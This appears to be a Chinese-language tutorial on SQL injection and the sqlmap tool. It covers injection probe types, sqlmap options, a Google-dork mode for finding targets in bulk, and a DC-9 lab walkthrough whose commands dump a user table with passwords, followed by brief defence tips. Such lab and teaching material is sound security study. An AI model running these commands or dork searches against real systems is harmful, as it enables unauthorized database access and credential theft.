1 sql注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
2 sqlmap介绍
sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等数据库的各种安全漏洞检测。
官方网站:https://sqlmap.org/
下载地址:https://github.com/sqlmapproject/sqlmap
演示视频:https://asciinema.org/a/46601
3 支持检测类型
sqlmap 支持5种漏洞检测类型:
- 基于布尔的盲注检测 (如果一个url的地址为xxxx.php?id=1,那么我们可以尝试下的加上 and 1=1(和没加and1=1结果保持一致) 和 and 1=2(和不加and1=2结果不一致),则我们基本可以确定是存在布尔注入的. )
- 基于时间的盲注检测(和基于布尔的检测有些类似.通过mysql的 sleep(int)) 来观察浏览器的响应是否等待了你设定的那个值 如果等待了,则表示执行了sleep,则基本确定是存在sql注入的
- 基于错误的检测 (组合查询语句,看是否报错(在服务器没有抑制报错信息的前提下),如果报错 则证明我们组合的查询语句特定的字符被应用了,如果不报错,则我们输入的特殊字符很可能被服务器给过滤掉(也可能是抑制了错误输出.))
- 基于union联合查询的检测(适用于如果某个web项目对查询结果只展示一条而我们需要多条的时候 则使用union联合查询搭配concat还进行获取更多的信息)
- 基于堆叠查询的检测(首先看服务器支不支持多语句查询,一般服务器sql语句都是写死的,某些特定的地方用占位符来接受用户输入的变量,这样即使我们加and 也只能执行select(也不一定select,主要看应用场景,总之就是服务端写了什么,你就能执行什么)查询语句,如果能插入分号;则我们后面可以自己组合update,insert,delete等语句来进行进一步操作)
4 参数
4.1 直接连接到数据库
(MySQL,Oracle,Microsoft SQL Server,PostgreSQL 等)
DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
(SQLite,Microsoft Access,Firebird 等)
DBMS://DATABASE_FILEPATH
eg
python sqlmap.py -d "mysql://admin:admin@192.168.21.17:3306/testdb" -f --bann
er --dbs --users
4.2 -D 指定数据库
4.3 --tables 枚举指定数据库下的表名
4.4 -T 指定表名
4.5 --columns 指定列
枚举指定表下的列名
4.6 -C
后面跟列名,含义是枚举这些列的值
4.7 --dump 显示的列值
最后枚举列值时,加上此参数可以看得到显示的列值
4.8 -m 批量文件(多目标)
提供给定批量文件中列出的目标 URL 的列表,sqlmap 将逐个扫描每个 URL。
eg
www.x.com/vuln1.php?q=foobar
www.x.com/vuln2.asp?id=1
www.x.com/vuln3/id/1*
4.9 -r 从文件加载 HTTP 请求
sqlmap 的可能性之一是从文本文件加载原始 HTTP 请求。这样,您可以跳过许多其他选项的使用(例如,设置 Cookie,发布数据等)。
POST /vuln.php HTTP/1.1
Host: www.target.com
User-Agent: Mozilla/4.0
id=1
请注意,如果请求是通过 HTTPS 进行的,则可以将其与 switch 结合使用,--force-ssl 以强制 SSL 连接到 443 /tcp。或者,您可以将其附加:443 到 Host 标题值的末尾。
4.10 -g
将 Google dork 结果作为目标地址处理
也可以根据您的 Google 问题的结果测试并注入 GET 参数。
此选项使 sqlmap 与搜索引擎协商其会话 cookie 以便能够执行搜索,然后 sqlmap 将使用 GET 参数检索 Google dork 表达式的 Google 前 100 个结果,询问您是否要测试和注入每个可能的受影响 URL 。
eg
python sqlmap.py -g "inurl:\".php?id=1\""
参考文章:
网安:https://www.wangan.com/docs/1065
5 DC-9 靶机测试
sql.txt 为注入点信息 不做解释
5.1 扫描数据库信息
sqlmap -r sql.txt
5.2 扫描数据库
sqlmap -r sql.txt --dbs
5.3 直接扫描数据库
sqlmap -r sql.txt -D users --dump
5.4 扫描user
数据库有哪些表
sqlmap -r sql.txt -p search -D users --tables
[1 table]
+-------------+
| UserDetails |
+-------------+
5.5 扫描 UserDetails
表的列
sqlmap -r sql.txt -p search -D users -T UserDetails --columns
[6 columns]
+-----------+-----------------+
| Column | Type |
+-----------+-----------------+
| firstname | varchar(30) |
| id | int(6) unsigned |
| lastname | varchar(30) |
| password | varchar(20) |
| reg_date | timestamp |
| username | varchar(30) |
+-----------+-----------------+
5.6 扫描 UserDetails
表的列值
sqlmap -r sql.txt -p search -D users -T UserDetails -C firstname,lastname,username,password --dump
6 防御sql注入
造成sql注入的主要是由于没有对特殊字符进行过滤,导致sql拼接,达到执行数据库语句的目的。危害不是一般的大,防御困难
6.1 正则化过滤特殊字符
对传入的参数严格审查,不符合要求统一系统记录,并提示管理,及时防护。
6.2 设置账号陷阱
设置类似超管账号,密码超级长,迫使分析账号密码hack心累,机器瘫痪。
6.3 严格区分超级管理与普通管理权限
- 严格区分系统管理员与普通管理的权限。
参考文章:
DC-9 系列
https://blog.csdn.net/crisprx/article/details/103985898
https://blog.csdn.net/weixin_44426869/article/details/104918662